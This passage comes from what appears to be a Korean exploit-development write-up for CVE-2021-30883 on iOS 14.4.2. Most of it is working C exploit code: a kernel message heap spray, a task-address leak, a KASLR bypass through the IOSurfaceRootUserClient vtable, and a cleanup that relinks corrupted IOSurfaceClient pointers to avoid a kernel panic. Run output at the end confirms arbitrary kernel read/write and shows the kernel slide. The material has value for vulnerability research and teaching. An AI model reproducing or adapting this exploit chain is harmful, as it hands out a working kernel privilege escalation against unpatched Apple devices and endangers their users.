mach_msg_size_t msg_size = message_size_for_kalloc_size(kernel_page_size) - sizeof(struct simple_msg);
void *data = calloc(1, msg_size);
memset(data, 0x43, msg_size);
send_message(current_port, data, msg_size);
}
// find out where sprayed kmsg and obtain msgh_remote_port kaddr
uint64_t guessed_ikm_header = KHEAP_DATA_MAPPABLE_LOC + 0x4000 * 512 + 0xfd0;
uint64_t msgh_remote_port = 0;
for(int i = 0; i < 100; i++) {
// https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2020-3837/helper/find_port.c#L31
uint32_t off_mach_msg_header_t_msgh_remote_port = 0x8; // (lldb) p/x offsetof(mach_msg_header_t, msgh_remote_port)
uint64_t kmsgdata = guessed_ikm_header + 0x20;
if(kread64(kmsgdata) == 0x4343434343434343) {
msgh_remote_port = kread64(guessed_ikm_header + off_mach_msg_header_t_msgh_remote_port);
printf("Found one of sprayed kmsg! ikm_header = 0x%llx, ikm_header->msgh_remote_port = 0x%llx\n", guessed_ikm_header, msgh_remote_port);
break;
}
guessed_ikm_header += 0x4000;
}
if(msgh_remote_port == 0) {
printf("Failed to find out sprayed kmsg...\n");
spinning();
}
// Obtaining our task kaddr
// msgh_remote_port's data.receiver // 0x60 = p/x offsetof(ipc_port, data.receiver); data.receiver's type = ipc_space*
uint64_t data_receiver = kread64(msgh_remote_port + 0x60);
printf("data_receiver = 0x%llx\n", data_receiver);
// data.receiver's is_task // 0x30 = p/x offsetof(ipc_space, is_task); is_task's type = task*
uint64_t our_task = kread64(data_receiver + 0x30);
printf("our_task = 0x%llx\n", our_task);
// clean our sprayed kheap data ports
for (int i = 0; i < port_cnt; i++) {
mach_port_destroy(mach_task_self(), ports[i]);
}
// Obtain kernel base via IOSurfaceRootUserClient_vtab
uint64_t iosurface_port = find_port(our_task, iosurface_uc);
uint64_t surfRoot = kread64(iosurface_port + off_ipc_port_ip_kobject);
uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);
IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; // in case it has PAC
uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb8); //__ZN12IOUserClient24getTargetAndTrapForIndexEPP9IOServicej; LDR X8, [X8,#0x5C0]; 8*0xb8=0x5c0
getExternalTrapForIndex_func |= 0xffffff8000000000;
printf("getExternalTrapForIndex_func = 0x%llx\n", getExternalTrapForIndex_func);
// walking down kpages to find kernel base
uint64_t page = trunc_page_kernel(getExternalTrapForIndex_func);
uint64_t kbase = 0;
uint64_t kslide = 0;
while (true) {
if (kread64(page) == 0x0100000cfeedfacf && (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {
kbase = page;
kslide = kbase - 0xfffffff007004000;
break;
}
page -= kernel_page_size;
}
printf("Got kernel slide = 0x%llx, kernel base = 0x%llx\n", kslide, kbase);
...
8. 익스플로잇 정리: IOSurfaceClient의 prev와 next 포인터 고치기
IOSurfaceRoot_release_all를 통해 IOSurface 객체들을 해제하기 전에 앞서,
손상된 IOSurfaceClient를 포함한 인근 객체들은 할당해제되지 못하게끔 만든다.
각 IOSurfaceClient 객체에는 prev와 next 포인터가 존재하기에, 이를 수정하여 손상된 객체를 가리키지 않고 건너뛰게끔 만들어주면 된다.
void IOSurfaceRoot_release_all(io_connect_t uc)
{
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
{
// printf("%s: surf_id = 0x%x\n", __FUNCTION__, surf_id);
// usleep(100000);
IOSurfaceRoot_release_surface(uc, surf_id);
}
for(int i = 0; i < 0x1000; i++) {
gIOSurface_ids[i] = 0;
}
gIOSurface_id_count = 0;
}
int main(int argc, char *argv[], char *envp[]) {
...
// Clean up!
// Relink surfaceClient to prevent kernel panic
uint64_t IOSurfaceRootUserClient_port = find_port(our_task, iosurface_uc);
uint64_t IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + off_ipc_port_ip_kobject);
uint64_t surfaceClients = kread64(IOSurfaceRootUserClient_addr + 0x118);
printf("surfaceClients = 0x%llx\n", surfaceClients);
uint64_t surfaceClient = kread64(surfaceClients + (krw_surf_id-20)*8);
uint64_t surfaceClient2 = kread64(surfaceClients + (krw_surf_id+20)*8);
// relink surfaceClient
kwrite64(surfaceClient+0x20, surfaceClient2+0x18); //overwrite next ptr;
kwrite64(surfaceClient2+0x18, surfaceClient); //overwrite prev ptr;
//remove_surfaceclient_in_surfaceclients
for(int k = (krw_surf_id-19); k < (krw_surf_id+20); k++) {
if(k == krw_surf_id) continue;
kwrite64(surfaceClients + k*8, 0);
}
//byebye krw
kwrite64(surfaceClients + krw_surf_id*8, 0);
close(krw_rfd);
close(krw_wfd);
IOSurfaceRoot_release_all(iosurface_uc);
cleanup:
IOServiceClose(iosurface_uc);
printf("done!\n");
return 0;
}
아래는 각 IOSurfaceClient 객체의 prev와 next 포인터에 대해 이해하기 위해 만든 그림이다.
IOSurfaceClient 객체의 +0x20에는 next, +0x18에는 prev를 각각 가리킨다.

실행 결과
[i] offsets selected for iOS 14.4.2
Exploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)
[*] AppleCLCD service: 0x2907
[*] AppleCLCD userclient: 0x2803
release, iosurf_id = 0x78
release, iosurf_id = 0xdc
release, iosurf_id = 0x140
release, iosurf_id = 0x1a4
release, iosurf_id = 0x208
release, iosurf_id = 0x26c
release, iosurf_id = 0x2d0
release, iosurf_id = 0x334
release, iosurf_id = 0x398
release, iosurf_id = 0x3fc
release, iosurf_id = 0x460
release, iosurf_id = 0x4c4
release, iosurf_id = 0x528
release, iosurf_id = 0x58c
release, iosurf_id = 0x5f0
release, iosurf_id = 0x654
[+] Found corrupted IOSurfaceClient's surf_id = 0x656
[+] pipefd_leak = 0x6320631, krw_rfd = 0x631, krw_wfd = 0x632
kaddr: 0xffffffe4ce97a000 -> val: 0x4242424242424242
Writing 0xcafebabe13371338 to kaddr(=0xffffffe4ce97a000)
kaddr: 0xffffffe4ce97a000 -> val: 0xcafebabe13371338
Confirmed working kernel read/write!
Found one of sprayed kmsg! ikm_header = 0xffffffe4cf178fd0, ikm_header->msgh_remote_port = 0xffffffe1a0188498
data_receiver = 0xffffffe19e0a9ba8
our_task = 0xffffffe19e8c4628
getExternalTrapForIndex_func = 0xfffffff00c7679d4
Got kernel slide = 0x472c000, kernel base = 0xfffffff00b730000
surfaceClients = 0xffffffe4cc304000
done!